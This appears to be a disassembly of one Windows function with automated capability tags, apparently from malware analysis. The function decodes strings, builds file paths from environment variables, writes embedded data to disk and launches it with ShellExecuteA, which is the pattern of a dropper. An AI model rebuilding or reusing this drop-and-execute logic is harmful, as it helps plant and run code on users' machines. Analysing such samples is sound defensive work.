Function at 0x40108c
Capabilities:
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
nop
mov eax, 0x24
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x24]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0x402021
mov dword [ebp - 0x24], eax
mov eax, 0x40202c
mov dword [ebp - 0x20], eax
mov eax, 0x402038
mov dword [ebp - 0x1c], eax
mov eax, 0x40c439
mov dword [ebp - 0x18], eax
mov eax, 0x40c43e
mov dword [ebp - 0x14], eax
mov eax, 0x40c462
mov dword [ebp - 0x10], eax
mov eax, 0x1cee6bb
mov dword [ebp - 0xc], eax
mov eax, 0x1cee6cd
mov dword [ebp - 8], eax
mov eax, 0x1cee6d8
mov dword [ebp - 4], eax
mov eax, 0x30
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x54]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0xa
mov dword [ebp - 0x54], eax
mov eax, 0xb
mov dword [ebp - 0x50], eax
mov eax, 0xa400
mov dword [ebp - 0x4c], eax
mov eax, 1
mov dword [ebp - 0x48], eax
mov eax, 4
mov dword [ebp - 0x44], eax
mov eax, 0x23
mov dword [ebp - 0x40], eax
mov eax, 0x18e2258
mov dword [ebp - 0x3c], eax
mov eax, 1
mov dword [ebp - 0x38], eax
mov eax, 0x11
mov dword [ebp - 0x34], eax
mov eax, 0xa
mov dword [ebp - 0x30], eax
mov eax, 0xa35d78
mov dword [ebp - 0x2c], eax
mov eax, 1
mov dword [ebp - 0x28], eax
mov eax, 0
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0x468]
cmp eax, 3
jge 0x401386
jmp 0x40119c
mov eax, dword [ebp - 0x468]
inc eax
mov dword [ebp - 0x468], eax
jmp 0x401179
mov eax, dword [ebp - 0x468]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x24]
add ecx, eax
mov eax, 0x2724451
push eax
mov eax, dword [ecx]
push eax
call sub.msvcrt.dll_strcmp
add esp, 8
cmp eax, 0
jne 0x401213
mov eax, dword [ebp - 0x468]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x24]
add ecx, eax
add ecx, 4
mov eax, dword [ebp - 0x468]
shl eax, 4
lea edx, [ebp - 0x54]
add edx, eax
add edx, 4
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
lea eax, [ebp - 0x464]
push eax
call sub.msvcrt.dll_strcpy
add esp, 8
jmp 0x4012a3
mov eax, dword [ebp - 0x468]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x24]
add ecx, eax
mov eax, dword [ebp - 0x468]
shl eax, 4
lea edx, [ebp - 0x54]
add edx, eax
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
call sub.msvcrt.dll_getenv
add esp, 4
mov ecx, dword [ebp - 0x468]
mov edx, 0xc
imul ecx, edx
lea edx, [ebp - 0x24]
add edx, ecx
add edx, 4
mov ecx, dword [ebp - 0x468]
shl ecx, 4
mov dword [ebp - 0x46c], eax
lea eax, [ebp - 0x54]
add eax, ecx
add eax, 4
mov ecx, dword [eax]
push ecx
mov eax, dword [edx]
push eax
call section..text
add esp, 8
push eax
mov eax, dword [ebp - 0x46c]
push eax
mov eax, 0x2724463
push eax
lea eax, [ebp - 0x464]
push eax
call sub.msvcrt.dll_sprintf
add esp, 0x10
mov eax, 0x2724469
push eax
lea eax, [ebp - 0x464]
push eax
call sub.msvcrt.dll_fopen
add esp, 8
mov dword [ebp - 0x470], eax
mov eax, dword [ebp - 0x468]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x24]
add ecx, eax
add ecx, 8
mov eax, dword [ebp - 0x468]
shl eax, 4
lea edx, [ebp - 0x54]
add edx, eax
add edx, 8
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
mov ecx, dword [ebp - 0x468]
shl ecx, 4
lea edx, [ebp - 0x54]
add edx, ecx
add edx, 8
mov ecx, dword [ebp - 0x470]
push ecx
mov ecx, 1
push ecx
mov ecx, dword [edx]
push ecx
push eax
call sub.msvcrt.dll_fwrite
add esp, 0x10
mov eax, dword [ebp - 0x470]
push eax
call sub.msvcrt.dll_fclose
add esp, 4
mov eax, dword [ebp - 0x468]
shl eax, 4
lea ecx, [ebp - 0x54]
add ecx, eax
add ecx, 0xc
mov eax, dword [ecx]
cmp eax, 0
je 0x401381
mov eax, 4
push eax
mov eax, 0x272446c
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, 0
push ecx
mov ecx, 0
push ecx
lea ecx, [ebp - 0x464]
push ecx
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x40118d
mov eax, 0
leave
ret